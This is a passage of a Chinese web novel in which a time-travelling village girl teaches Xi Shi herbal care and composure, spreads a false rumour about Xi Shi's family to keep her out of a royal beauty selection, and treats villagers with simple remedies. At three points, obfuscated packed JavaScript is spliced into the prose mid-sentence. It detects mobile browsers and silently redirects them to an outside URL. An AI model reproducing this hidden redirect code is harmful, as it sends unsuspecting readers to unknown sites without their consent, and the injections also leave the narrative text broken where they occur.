但施晓青知道,改变从来不是一蹴而就。它始于最微末的善意,始于看似无用的知识传递,始于人与人之间最朴素的联结。 她不知道这些细微的根须,最终能生长成什么。 她只知道,当风浪再次来临时,她和夷光,或许不会再是两株孤立无援、只能任由摆布的浮萍。 至少,她们在尝试着,把根往泥土深处,扎下去一点。 再扎下去一点。 “阿青,你近日……似乎懂得很多。” 一次,在施晓青那简陋的药圃旁,夷光看着那些被细心照料的绿苗,轻声说。 施晓青正用小木棍给一株紫苏松土,闻言动作微顿:“都是在生死边缘走过一遭,大概……开了点窍。” 她无法解释穿越,只能用最含糊的说法。 “总觉得,多知道一点,多准备一点,或许就能在风雨来时,有个躲雨的屋檐。” 夷光沉默地看着她沾着泥土的手指,那双曾经只知浣纱的手,如今在泥土和草药间穿梭,却显得异常沉稳有力。 她忽然问:“阿青,你信命么?” 施晓青抬起头,对上夷光那双盛满山间雾气的眸子。 她拍了拍手上的土,认真想了想: “信,也不信。信命里有些东西,就像这越国的山、吴国的水,我们搬不动。但也不信命里所有的事都定死了。” 她指向那些药草,“就像这些草,生在野地里是它的命,但被人采来用对了地方,或许就能救急,改一改另一条命的运道。” 夷光眼神微动,似有所悟,又似更深的迷茫。 这天傍晚,施晓青正在院中分拣晒干的艾草,篱笆外传来轻轻的叩击声。 不是阿母回来的动静。 她警惕地走过去,透过缝隙,看到的是夷光略显苍白的脸,眼神里带着一丝急切。 “阿青,快开门。”夷光的声音压得很低。 施晓青连忙开门让她进来,迅速关好:“怎么了?” 夷光从怀中取出一个用旧葛布裹着的小包,递给施晓青。入手微沉,带着奇异的、清冽的香气,绝非村中能有。 “这是……” 施晓青疑惑地打开一角,里面是几块深褐色、纹理细密的木块,香气正是由此散发。 “沉香。”夷光声音更低了,“前日有人暗中送来我家,指明给我阿父的。说是……都城来的贵人所赐,让我家用这香,平日熏衣静心,务必……务必养好容色气质。” 她咬着下唇,眼中是无法掩饰的惊惧,“他们没露面,东西放下就走了。阿父阿母吓得一夜未眠。这香,我们不敢用,又不敢扔。” 施晓青的心猛地一沉。果然,官差走了,但盯上夷光的目光,从未真正移开。 “给我。”施晓青接过沉香,仔细看了看,又凑近闻了闻。 香气醇厚沉静,确实是上品。但在她看来,这袅袅香气,却比刀剑更寒。 “夷光,这香你们万万不能用。但交给我处理。” “你打算怎么做?” 施晓青目光落在手中沉香的纹理上,又转向自己那些晾晒的普通草药:“既然他们想让你养好,那我们就养——只不过,是用我们自己的法子养。” 她拉着夷光走进屋内,关好门,就着昏暗的天光低声道:“这沉香,我先收着。或许以后有用。至于你……” 她看着夷光忧心忡忡的脸,“从明日起,你每日来我这里一趟。我们不只是说话,你要跟我学些东西。” “学什么?” 4. 学学学 “学什么?” “学认这些草药,学最基本的强身健体的法子,学……如何在不得已时,让自己看起来不那么合适。” 施晓青眼神锐利起来,“他们选人,要容貌,要仪态,要心思灵巧能担事。容貌天生,我们改不了,也绝不能自毁。但仪态和心思,或许可以调整。” 夷光怔住了:“你是说……” “不是让你变蠢。” 施晓青握住她冰凉的手,“是让你在必要时,懂得藏……”她指向那些草药,“所以,你要先懂得如何真正调理自己,让自己有底气。然后,才能学会如何表演。” 这是无奈之下的险棋。 既要让夷光拥有更坚韧的身体和心智,以应对未来可能的磨难,又要为她打磨出一层保护性的伪装。这其中的分寸,极难拿捏。 夷光深深地看着施晓青,眼中最初的惊惧慢慢沉淀下去,化为一种决然。她用力点头:“我学。” * 溪水潺潺,施晓青把几株新采的艾草递给夷光。 “看清楚,叶背有灰白绒毛,香气特殊。煮水沐足,能驱寒安神,尤其在你……觉得心里发慌睡不着的时候。” 夷光接过,指尖轻触叶片,学得很认真:“和薄荷不同。” “嗯,薄荷辛凉,主疏散;艾草温通,重养护。” 晓青说着,又指了指旁边一丛不起眼的绿植,“那是陈皮,晒干后理气健脾。若日后饮食不调……或许用得上。” “饮食不调?” 夷光抬眼,眸中映着溪水光斑。 晓青顿了顿,语气放得更缓:“我是说,万一去了不习惯的地方,水土不服总是有的。多知道一点,身子就少受一点罪。” 夷光沉默,低头轻嗅艾草微苦的香气。 “阿青,你懂的真多,不像我们村里人。” “都是听来的。” 晓青利落地把草药分门别类放好,“一位路过的老人家,说了不少。我以前没当回事,现在想想,或许就是留给此刻用的。” “那位老人家……还说过别的吗?”夷光声音很轻,像怕惊扰了什么。 “说过。”晓青坐下来,目光投向远处山峦,“他说,人活于世,有时就像这溪里的石头。水流急的时候,太尖的棱角容易被冲走,太圆的又立不住。最好的法子,是外面磨得光滑些,里头却要稳住自己的形状。” 夷光若有所思。 良久,她问:“那该如何磨?” “我们试试。” 晓青站起身,拍了拍手上的草屑,神情忽然变得刻板,下巴微抬,声音又尖又细,活脱脱的管家嬷嬷:“你!那个浣纱的!抬起头来!” 夷光一怔,手指蓦地收紧。 “对,就是这样。” 晓青立刻恢复原状,温声道,“突然被陌生人这样呼喝,任谁都会慌。但夷光,你要练的,就是慌在里头,面上却要像这溪水一样,该流流,该静静。” 她重新端起架势,这次语气缓和些,却带着审视:“姓甚名谁?年岁几何?平日做些什么?” 夷光深吸一口气,垂下眼睫,声音平稳:“民女施夷光,苎萝村人,年十五,平日……随母亲浣纱、采些野菜。” 她答得简略,避开了细节。 “浣纱?”晓青扮演的“官家嬷嬷”挑眉,“手伸出来我瞧瞧。” 夷光伸出手,掌心朝上。手指纤长,却有薄茧。 晓青扮演的嬷嬷凑近细看,目光挑剔。 夷光的指尖几不可察地颤了一下,却依然维持着姿势。 “可以了。”晓青放下架势,眼里露出赞许,“刚才很好。只是最后,手指不必僵着,自然垂着就好。越在意,越容易露痕迹。” 夷光收回手,轻轻舒了口气,额角有细汗。 “总觉得……像是在骗人。” “这不是骗。” 晓青递给她一片薄荷叶,自己也含了一片,清凉的气息在舌尖化开,“这是在别人画好的棋盘上,给自己找一处安稳的落子点。你不害人,只是不想被人轻易看透、随意摆布。” 她看着夷光依旧迷茫的眼神,换了个说法:“你看这溪里的鱼,明明在水里,身子却总微微侧着,既看着水面上的动静,也顾着水下的暗流。我们女子在这世上,有时也得学学这鱼儿。” 夷光望向溪水,几条小鱼正灵活地游弋。她似乎明白了什么,轻轻点头。 日子一天天过去,后院的角落成了她们的“学塾”。 “觉得心快跳出来的时候,悄悄吸气,心里默数四下,再缓缓吐出来,数六下。” 晓青教着,夷光也比划着几个舒缓拉伸的动作,手臂如鸟翼般展开,腰身缓慢扭转。 “这是那位老人家比划过的养生操,说能松缓筋骨,凝神静气。无人时做做,但千万别说出去。” 夷光学得很认真。 她的身体柔韧,很快掌握了要领。 一次练习后,她额发微湿,眼底却有种运动后的清亮。 “阿青,做完这些,心里好像真的松快了些。” “那就好。”晓青笑着递过水瓢,“身子是自己的根基,根基稳了,风雨来了才站得住。” 演练也在继续。 晓青有时是好奇的多舌村妇,绕着弯子打听夷光的婚事打算;有时是倨傲的官家女眷,语气施舍地评价她的容貌。 夷光从最初的慌乱,渐渐学会了用最温顺平和的语气,说着最无关紧要的话: “劳您关心,父母之命,不敢妄议。” “容貌乃父母所赐,不敢当夸赞。” 若对方追问不休,她会适时轻蹙眉头,指尖抚上心口,声音放软:“旧疾有些反复,恕我不能久陪……” 自然而然地中断话题。 这过程不易。 一次演练后,夷光独自在树下站了很久,背影显得有些孤单。 晓青走过去,听见她极低的声音:“阿青,我这样……是不是变得虚伪了?” 晓青正在石臼里研磨晒干的陈皮,沙沙的声响停了。她转过头,看着夷光被树影笼罩的侧脸。 “夷光,”她声音很稳,“你看着我的手。” 夷光转头。晓青的手沾着陈皮的细末,指节分明,并不细腻。 “这双手,浣纱、采药、做活,沾过泥,染过草汁。它不漂亮,但实在。” 晓青缓缓说,“你现在学的,就像是在这实在的手外面,暂时戴上一副轻薄的手套。 手套或许不起眼,或许不合你的心意,但它能让你在不得不去触碰荆棘的时候,少流点血。 你的手,还是原来那双手,你的心,也还是原来那颗心。这不算虚伪,这是……在没办法的时候,给自己找的一副软甲。” 她把磨好的陈皮粉用干净麻布仔细包好,递给夷光:“收着。我们做这些,不是为了变成别人,是为了在狼盯上羊群的时候,让自己看起来不那么像最容易叼走的那一只。是为了……哪怕只是一线可能,将来能对自己要去的地方,说上一句‘愿意’或‘不愿意’。” 夷光接过那包陈皮粉,微涩的香气萦绕鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486879|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖。 她看着晓青被阳光晒得微红、却目光澄定的脸,那上面的汗珠顺着额角滑下,消失在衣领里。 这张脸并不绝美,却有种山野般的韧劲,像石缝里长出的草,风再大也贴着地皮生长。 良久,夷光握紧了手中的布包,唇角很轻地弯了一下:“我懂了,阿青。” 后院角落的药圃在晓青的打理下,绿意渐浓。虽谈不上茂盛,但薄荷、紫苏、艾草、还有几株野菊,都活了。 晓青用多出的艾草薄荷,加上晒干的野花,缝了几个小小的香囊。针脚粗陋,但心意实在。 她给阿母一个:“挂着,蚊虫少些。” 给隔壁总咳嗽的阿婆一个:“放着枕边,气味通窍。” 最后一个,她让阿母送去里正家。 “就说上次我言行无状,冲撞了贵人,心里一直不安。这小玩意儿不值钱,勉强算份心意,请里正娘子别嫌弃。” 阿母欲言又止,终究还是去了。 香囊虽微,但这份主动递出的台阶,让里正家紧绷的气氛缓和了些许。 里正娘子再遇见晓青阿母,也能点点头,说句:“你家阿青,近来倒是沉稳了”。 夷光的变化是悄然的。 她依旧美,但那美不再单薄得令人心忧。 规律的调理和那些无声的练习,让她苍白的脸颊润了一丝血色,眉宇间积郁的愁绪被一种更沉静的专注取代。 她虽少言,但眼神掠过山野溪流、掠过手中纱线时,多了几分通透的力道。就像晓青说的,内里的韧性,正一点点撑起那绝世容光的外壳。 溪水日复一日地流,带走落花,也映照着两个少女默默积蓄力量的倒影。 风暴未至,但她们已在为可能到来的雨天,悄悄编织一件蓑衣。 * 一个燥热的午后,施晓青正在溪边清洗新采的草药,村里忽然传来不同寻常的喧哗声,夹杂着马蹄声和严厉的呼喝。 她心头一紧,擦干手快步朝村口走去。 只见村口的空地上,停着两三辆比上次更规整的马车,周围站着七八个劲装佩刀的兵士,神情肃穆。 里正正点头哈腰地陪在一个身穿深色官袍、面白无须的中年人身边。 那官员神色冷峻,目光如鹰隼般扫视着被召集而来的村民,尤其是人群中的年轻女子。 他的声音不高,却带着不容置疑的威严,清晰地传入每个人耳中: “奉上命,复查诸暨各乡女子资质。凡年十三至十八,容貌端正、体态合宜者,皆需于三日后,至里正处登记造册,听候查验。不得延误,不得隐匿!” 他的目光,似乎在不经意间,掠过了人群边缘某个方向。 施晓青顺着那目光看去,心一沉。 施夷光站在她母亲身后,半低着头。 但即便在人群中,她那独特的、沉静如水的气质,依然像暗夜里的萤火,无法完全遮掩。 真正的遴选,以更正式、更无法抗拒的方式,到来了。 官员说完,不再停留,转身上了马车。 兵士们簇拥着马车,扬起尘土,驶离了苎萝村。留下满村惶惑不安的百姓,和空气中弥漫的、山雨欲来的压抑。 里正擦着额头的汗,开始高声宣布具体细则,语气焦躁。 施晓青悄悄退出人群,回到溪边。 她看着水中自己紧绷的倒影,又看了看手中尚未洗净的、散发着清苦气味的草药。 三日后登记,然后便是查验。 时间,比想象中更紧迫。 5. 逆流之策 夜色如墨,浓稠地泼洒在苎萝村上空。 白日里官差带来的惊悸并未随暮色散去,反而沉淀为一种更深、更闷的恐慌,沉甸甸压在每个人的心头。 灯火早早熄灭,偶有压抑的咳嗽或低语从窗缝漏出,随即又陷入更深的寂静,仿佛连呼吸都怕惊动了什么。 施晓青没睡。 她坐在自家小屋冰凉的泥土地上,就着唯一一盏摇曳的油灯,面前铺着几片干燥的桑树皮,手里拿着一小块烧黑的木炭。 油灯光线昏暗,将她的影子拉长,扭曲地投在土墙上,像个沉默的守护者。 木炭在树皮上划过,发出沙沙的轻响,留下断续的线条和符号。 这不是这个时代的文字,而是只有她能看懂的、结合了简体字、英文缩写和自创标记的密码。 她在复盘,在推演。 油灯啪地爆了个灯花。 施晓青的目光落在炭笔写下的“不合用”三个字上,指尖无意识地点了点。 什么样的人会“不合用”? 首先,身体有隐疾或顽疾,可能无法承受长途跋涉、严格训练或未来任务者。夷光的“心疾”可以做文章,但需要证据,不能空口白话。 其次,性情或心智有缺陷,不够灵巧,难当大任,或难以控制。这需要更精细的表演和长期铺垫,短时间内塑造一个可信的形象很难。 再次……家庭背景或社会关系有瑕疵,可能影响忠诚或带来麻烦? 施晓青的笔尖顿住。 她想起白日里那官员扫视人群时,除了看年轻女子,目光似乎也在一些家庭的长辈身上短暂停留过。 遴选美人送入吴宫,事关重大,身家背景必然在考察之列。一个“不清白”或“有麻烦”的家庭出来的女子,即使用,也会被慎重考量,甚至直接排除。 她的心跳快了几拍。 夷光家世简单,父母皆是老实本分的农户,并无污点。但……如果污点是即将产生,或者可以被制造出来的呢? 一步踏错,可能万劫不复。 但,这是目前她能想到的,唯一可能从根本上动摇夷光入选可能性的策略。 她的目光,不由自主地飘向屋外漆黑的夜色,落在隔壁阿婆家那低矮茅屋的方向。 阿婆,村里最年长的老人之一,无儿无女,独自居住。她絮叨,记性好,对村里陈年旧事了如指掌,也因为孤独,对常来帮忙、听她说话的施晓青,有着超乎寻常的信任和倾诉欲。 更重要的是,阿婆在村里,有一种独特的来自年岁和经历的话语权。 她的话,在某些时刻,会被当作“古旧之谈”、“老人言”,虽不一定被完全采信,却会在人心里种下猜疑的种子。 另一个可能的人选……她的手指在炭笔下“里正”二字上画了个圈。 里正上次因她失态而恼怒,但后来收到香囊,态度稍有缓和。他是最直接的执行者,对上面负责,也最怕出事。 如果能让他也产生顾虑…… 施晓青吹熄油灯,躺回硬板床上。 黑暗中,她的眼睛睁得很大,听着窗外细微的虫鸣,脑海中的计划一遍遍细化、修正,每一个环节都在推演可能出现的问题和应对。 这是真正的逆流而行。她不确定能走多远,但箭已在弦上。 接下来的两天,苎萝村表面平静,内里却暗潮汹涌。 家家户户都在私下议论,有女儿的人家更是愁云惨淡,有的试图连夜将女儿送到远亲家避风头,有的忙着给女儿做稍显土气或宽大的衣裳,试图遮掩容貌。 施晓青按部就班。 她依旧每日去溪边,浣纱,采药,照料她那小小的药圃。 只是去阿婆家的次数更勤了,不仅帮忙挑水扫地,还会不经意地提起官家选人之事,语气里满是忧虑。 “阿婆,您说,这被选上了,到底是福是祸啊?我听说,送去的地方规矩大得很,动不动就要挨罚,身子骨弱些的,怕是……” 阿婆瘪着嘴,用缺了牙的嘴慢悠悠地说:“福祸?哼,那得看命。早年间,也不是没有过类似的事……隔壁村,好像就有个姑娘,被贵人看中带走了,后来呢?音信全无!家里人想打听,都没门路。说是享福去了,谁知道是不是……” 她摇摇头,浑浊的眼睛里闪着过来人的精明与一丝恐惧,“这些官家的事,沾上了,是好是歹,都由不得自己喽。” 施晓青适时地露出惶恐的表情:“这么吓人?那……那要是被选上了,家里有点什么事,是不是更没人管了?” “那还用说!”阿婆拍了下腿,“女儿都送出去了,那就是人家的人了。家里就算有天大的事,你也伸不上手,说不……哎,说到这个,” 她忽然压低声音,往前凑了凑,“我听说啊,只是听说,施老二家那边,好像不太平。” 施晓青心头一跳,面上却做出好奇状:“夷光家?她家怎么了?我看她阿父阿母都是本分人。” “本分是本分,可架不住……架不住运道啊。” 阿婆声音更低了,带着神神秘秘的味道,“我前儿个听路过的货郎嚼舌根,说是在北边打仗的地方,好像见过一个长得跟夷光她舅很像的汉子,在给……给那边的人做事!” 她没说具体给谁,但那眼神里的暗示,足以让人联想到吴国,或者别的什么“不该沾边”的势力。 这当然是子虚乌有。 货郎或许说过些战事见闻,但绝不可能具体到苎萝村一个普通村民的亲戚。 这是施晓青在过去两天里,利用和阿婆闲聊的机会,极其小心、迂回地埋下的“伏笔”—— 她先谈论战事残酷,提及可能有人为求生计不得不为敌方做些杂役,再无意中说起夷光好像有个舅舅早年出门谋生,不知所踪。 在阿婆的脑海里,这些零散的信息,经过她自己的联想和加工,便合成了这样一个真假难辨的“听说”。 谣言的生命力在于模糊和暗示。 施晓青不需要它成为确凿证据,只需要让它成为一粒灰尘,在恰当的时机,落入某些人的眼中。 “阿婆,这话可不敢乱说!”施晓青做出惊吓状,连连摆手,“这要传出去,夷光家可怎么办?她正……” “我知道,我知道。”阿婆也意识到失言,忙掩住嘴,眼神却闪烁不定,“我就跟你说说,你可别往外传。唉,我也是担心夷光那孩子,模样是真好,可要是家里……有点什么牵扯,这被选上去,怕是福气变祸事哦。” 种子,已经悄悄种下。它会自己在阿婆心里,也在可能会听到阿婆担忧的个别人心里,慢慢发酵。 第三天,登记的日子到了。 里正家的院子成了临时登记点,气氛凝重。 有适龄女子的人家,父母带着女儿,神情忐忑地排队等候。两个穿着吏员服饰的人坐在简陋的木桌后,面无表情地询问、记录。里正在一旁陪着,额角冒汗。 施晓青陪着夷光和她父母一同前来。 夷光今日穿着一身半旧的藕色衣裙,头发简单绾起,未施粉黛,却愈发显得清水出芙蓉。她垂着眼,嘴唇抿得有些发白,手指紧紧攥着袖口。 队伍缓慢前行。终于轮到夷光家。 吏员抬头,看到夷光时,眼中明显掠过一丝惊艳,但很快被职业性的冷淡掩盖。他例行公事地问了姓名、年龄、家世。 夷光的父亲,一个老实巴交的农夫,紧张得话都说不利索。夷光母亲低声补充着。 一切似乎很顺利。吏员笔尖滑动,就要将夷光的信息录入册中。 就在这时,院外传来一阵急促而略显慌乱的脚步声,还夹杂着苍老的、喘着气的呼喊:“等等!里正,等一等!” 众人回头,只见隔壁阿婆拄着拐棍,颤巍巍地快步走了进来,脸色发红,也不知是走得急还是激动。 她径直走到里正面前,也顾不上礼数,一把抓住里正的袖子,声音不大,却因为激动而有些尖:“里正!施老二家这事,你得再掂量掂量啊!” 院子里瞬间安静下来,所有人的目光都聚焦过来。 里正眉头紧皱,又不好对长者发作,低声道:“阿婆,您这是干什么?没看见官爷在办公事吗?” “就是因为办公事,我才要说!” 阿婆喘了口气,眼神瞟了一眼夷光,又迅速收回,脸上露出一种混杂着担忧和欲言又止的神情,“夷光这孩子是好的,可她家……她家那个在外面多年没音信的舅舅,前阵子……前阵子好像有人在北边见过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486880|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟那边的人……有点不清不楚的牵扯啊!” “北边”和“那边的人”,在这种语境下,指向性几乎不言而喻。 嗡一下,院子里炸开了锅。 人们交头接耳,看向夷光一家的眼神顿时变了,充满了惊疑、审视,甚至一丝避之不及。 夷光父亲的脸色瞬间惨白,急得直跺脚:“阿婆!这话从何说起!我舅兄他……他早就……” “我也是听人说的!” 阿婆打断他,语气确凿,带着老人特有的固执,“我知道你不信,可这种时候,宁可信其有,不可信其无啊! 里正,你想想,这要是真的,夷光这孩子被选上去,万一……万一以后有点什么事,追究起来,咱们苎萝村,还有你里正,担不担得起这个干系?” 里正的脸色也变得极其难看。 他看看阿婆,又看看面无人色的夷光一家,最后目光落在桌后那两个吏员身上。 吏员也停下了笔,对视一眼,眉头紧锁。遴选美人送入吴宫,忠诚和背景干净是首要考虑。 任何一丝与敌方可能存在的牵连,哪怕只是捕风捉影的谣言,都足以让决策者心生忌惮,宁可错杀,不可错用。 其中一个年长些的吏员,沉吟片刻,对里正低声道:“此事……确需谨慎。此女暂缓录入,需……核实。” 暂缓录入。在这个节骨眼上,几乎就等于否决。 夷光的身子晃了晃,施晓青立刻上前一步,不着痕迹地扶住她的胳膊,感觉到她手臂的冰凉和颤抖。 夷光抬头看她,眼中是巨大的震惊、茫然,还有一丝了悟的痛楚。她明白了,眼前这一幕,这突如其来的“舅舅传闻”,绝非偶然。 施晓青用力握了握她的手臂,眼神里传递着复杂的情绪:对不起,但这是目前唯一的办法。 里正擦了把冷汗,对阿婆道:“阿婆,您先回去歇着,这事……我们自有计较。” 又对夷光父母勉强道,“你们也先回去,等……等消息。” 登记在一种诡异而压抑的气氛中继续,但落在夷光一家背影上的目光,充满了复杂的意味。 走出里正家的院子,回到相对僻静的村路上,夷光的母亲终于忍不住,捂住脸低声啜泣起来。 夷光父亲则是一脸灰败,不住叹气: “造孽,真是造孽啊……这是谁在害我们……” 夷光一直没有说话,只是任由施晓青扶着,脚步虚浮。 直到快到家门口,她才停下,转过头,看着施晓青,声音轻得像一阵风就能吹散:“阿青,是你吗?” 施晓青迎着她的目光,没有回避,缓缓点了点头:“是我。对不起,夷光,用了这样的方式,让你父母蒙受非议。” 夷光闭了闭眼,再睁开时,里面翻涌着泪光,却也有一种奇异的清明:“我知道,你是为了我。只是……这代价……” “这代价,是让那些想把你当棋子的人,心生顾虑。” 施晓青声音低沉而坚定,“一个背景可能有瑕疵的棋子,再好用,也会被犹豫,甚至弃用。我们需要的就是这份犹豫和弃用。至于谣言,总有澄清的一天,等风头过去,我会想办法。” 夷光深深吸了口气,仿佛要将胸中的郁结和痛楚都压下去。 她反手握住施晓青的手,指尖依旧冰凉,却有了力量:“我不怪你。这条路,是我自己选的。从我说要跟你学的那一刻起,我就知道,我们走的,不会是坦途。” 她看着自家那扇熟悉的、此刻却仿佛隔着千山万水的木门,轻声道:“只是,接下来的日子,怕是真的难了。” 施晓青知道她指的是什么。流言蜚语,村民异样的眼光,父母的压力,以及官家可能后续的“核实”……每一件,都足以将人压垮。 “再难,我们一起走。” 施晓青握紧她的手,“你忘了?我们说好的,要给自己挣一条不一样的路。现在,只是路上多了一块绊脚石。踢开它,或者绕过去,但我们不停下。” 暮色再次降临,将两个少女的身影拉长,交叠在一起。身后是渐起的流言风雨,前方是更浓重的未知黑暗。 但她们的手紧紧相握,仿佛能从那微薄的体温中,汲取到对抗命运的唯一光亮。 6. 药香 “听说了吗?施老二家那个舅舅,八成是投了吴人!” “啧啧,怪不得夷光生得那般模样,原来家里早有根子不正……” “官家怕是不敢要她了吧?这种出身,送上去也是祸害!” 那日之后,流言蜚语如同夏日的蚊蚋,无孔不入,在苎萝村的每个角落嗡嗡作响。 夷光一家几乎闭门不出,原本就清冷的门庭,如今更添了几分被人刻意避开的孤寂。 夷光父亲出门换粮,都能感觉到背后指指点点的目光和骤然降低的交谈声,这个老实了一辈子的农夫,脊背仿佛一夜之间佝偻了许多。 施晓青的日子也不好过。 阿婆那天“仗义执言”后,似乎也隐隐意识到自己可能被“利用”了,再见施晓青时,眼神里多了些躲闪和复杂的审视,不再像以前那样无话不谈。 里正更不必说,每次远远看见施晓青,脸色便沉下去,鼻腔里若有似无地哼一声,仿佛她是什么不祥之物。 看着夷光一家因自己策划的谣言而承受的非议,施晓青心中并无多少计策得逞的快意,只有沉甸甸的负疚和更强烈的紧迫感——她必须尽快让这“谣言”产生真正的“效用”,并且,她需要为夷光,也为自家,找到新的、更坚实的立足点。 此招明显是下策,且不可持久。 她需要建立一些正向的、有价值的东西,形成保护,甚至……反制的能力。 她的目光,再次落回那些不起眼的草药上。 苎萝村地处山野,村民们小病小痛多靠硬扛,或求助于经验模糊的土方,遇上稍重些的,便只能听天由命。 而她在现代积累的浅薄常识和粗浅的草药知识,在这个时代,或许就是一条缝隙里的光。 施晓青将后院那片小药圃扩大了,还有了简单的分区。 她借着进山拾柴的机会,走得比以往更深些,寻找更多样的草药,并小心翼翼地用炭笔在桑树皮上记录它们的形态、采集地点和模糊的功效记忆。 她有意识地收集一些干净的布料、陶罐,甚至用节省下来的口粮,跟偶尔路过的货郎换了一小包珍贵的粗盐和几个完好的旧陶钵。 第一个“病人”是偶然,也是必然。 村里一户人家的幼子,夏日贪凉,腹泻不止,哭闹了一整夜,第二天已是小脸蜡黄,眼窝深陷。 孩子的父母急得团团转,去求里正想办法找郎中,可最近的镇子郎中一来一回至少两日,孩子恐怕等不及。 绝望之际,不知是谁提了一句:“施家阿青,好像常摆弄些草叶子……” 病急乱投医。 孩子的父亲,一个黝黑结实的汉子,红着眼眶敲响了施晓青家的门。 施晓青的心提到了嗓子眼。 她不是医生,没有把握。 但看着门外汉子绝望中带着最后一丝希冀的眼神,看着不远处隐隐张望、神情复杂的村民,她知道,这是一个机会,也是一个巨大的风险。 她稳住心神,仔细询问了孩子的症状、饮食和排泄物情况,又要求亲自看一眼孩子。结合有限的常识,她判断很可能是急性肠胃炎引起的脱水。 “我不敢保证能治好,”她事先声明,语气谨慎,“但有些土法子,或许能试试,止泻补液。” 她取来自己晒干的、品质最好的石榴皮,配上一点炒焦的米和几片生姜,仔细交代如何煎煮,喂服的量和频率。 最关键的是,她强调了必须不断给孩子喂服煮沸后晾温的淡盐水,哪怕每次只喂一两勺,也要持续。 “水一定要烧开,盐要放很少很少,尝不出咸味最好。这个,可能比药还紧要。”她神色郑重地叮嘱。 汉子将信将疑地拿着药包和一小包盐回去了。 接下来的一整天,施晓青都心神不宁。 她不断复盘自己的判断和给出的建议,确认每一步都基于最稳妥的常识,剂量也放到最低。 如果孩子有个万一……她不敢想后果。 傍晚时分,那汉子又来了。 施晓青的心一沉。 却见汉子脸上虽仍有疲色,但之前的绝望已消散大半,眼中带着难以置信的激动: “阿青姑娘!娃、娃不拉那么凶了!肯喝点米汤了!脸色也好些了!那盐水,照你说的喂着!” 施晓青长长地舒了一口气,紧绷的脊背瞬间放松下来,这才感到后背已被冷汗浸湿。 她强作镇定:“那就好。药继续按时煎服,盐水不能停,饮食要清淡,只能喝最稀的米汤,观察两日。” “哎!哎!多谢!多谢阿青姑娘!”汉子连连作揖,千恩万谢地走了。 这件事,像一阵风,迅速吹遍了苎萝村。 观望的、怀疑的、原本带着非议的目光,开始有了微妙的变化。 原来施家阿青摆弄那些草叶子,不是瞎胡闹,是真有点用处? 第二个病人很快上门。是村西头一个常年受风湿腿痛折磨的老猎户,疼痛发作时寸步难行。 施晓青没有妄言能根治,只根据记忆,教他用艾草煮水熏蒸痛处,又给了他一些自己采摘晒干、初步判定有祛风散寒作用的威灵仙根茎,让他泡酒外擦。 几天后,老猎户虽未痊愈,但疼痛明显缓解,逢人便说施家阿青给的方子“管点用”。 信任如同溪水浸润干涸的土地,开始一点点积累。 施晓青愈发谨慎。只在家处理草药,有人来问,便仔细询问,给出最稳妥、最简单、且往往强调“辅助调理”而非“治病”的建议。对于不确定的,她直言不知,绝不逞强。 她用自己记录的“医案”,总结哪些草药搭配对何种常见症状有效,哪些无效或有风险。 她的药圃和屋角,渐渐堆起了分门别类的草药束、晒干的根茎、研磨好的粉末。 空气里常年弥漫着一股淡淡的、清苦的草木香气。 这香气,仿佛成了她新的身份注解,悄然覆盖了之前的阴影。 夷光也在这段艰难的日子里,以一种沉默而坚韧的方式存在着。 她不轻易出门,但施晓青每隔一两日,便会趁着夜色,悄悄溜去夷光家后院矮墙外,递进去一包新晒的安神草药,或是几枚煮熟的鸟蛋,有时只是一小包用干净树叶包着的、加了蜂蜜的紫苏梅干。 两人隔着矮墙,低语片刻。 “阿青,今日外面……还说起舅舅的事么?” “少了些,但目光依旧刺人。你还好吗?” “我还好。阿母总偷偷哭,阿父叹气更多了。但……比起被登记带走,现在这样,我觉得踏实些。” “再忍忍。风头需要时间过去。你的‘功课’别落下,呼吸法,舒展的动作,我新写的几个应对问答,记熟了。” “嗯。阿青,你自己也小心。我听说……里正似乎对你给人看病的事,不太高兴。” “我知道。但他暂时找不到由头。我们做的,是帮忙,不是行医。” 简单的交谈,是支撑,是通气,也是在黑暗中确认彼此的方向。 施晓青家的柴扉,这几日被叩响的频率明显高了些。 起初是隔壁腿脚不便的阿婆,挎着小半篮新挖的野菜,有些不好意思地蹭到门边:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486881|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “阿青姑娘在吗?昨儿个你给的那个驱蚊草包,真灵验!我挂床头,一晚上没听见蚊子哼哼。这几个菜头,你莫嫌弃……” “阿婆客气了,有用就好。” 施晓青接过野菜,顺手从檐下取了个新缝的、更小巧些的香囊递过去,“这个加了点晒干的菊花,味道清些,您白天戴着。” 没过两日,村东头的李婶捂着肚子,脸色发白地寻来,在门口踌躇着不敢进。 还是施晓青看见,主动开了门。 “李婶,这是怎么了?” “唉,老毛病,肚子绞着疼……” 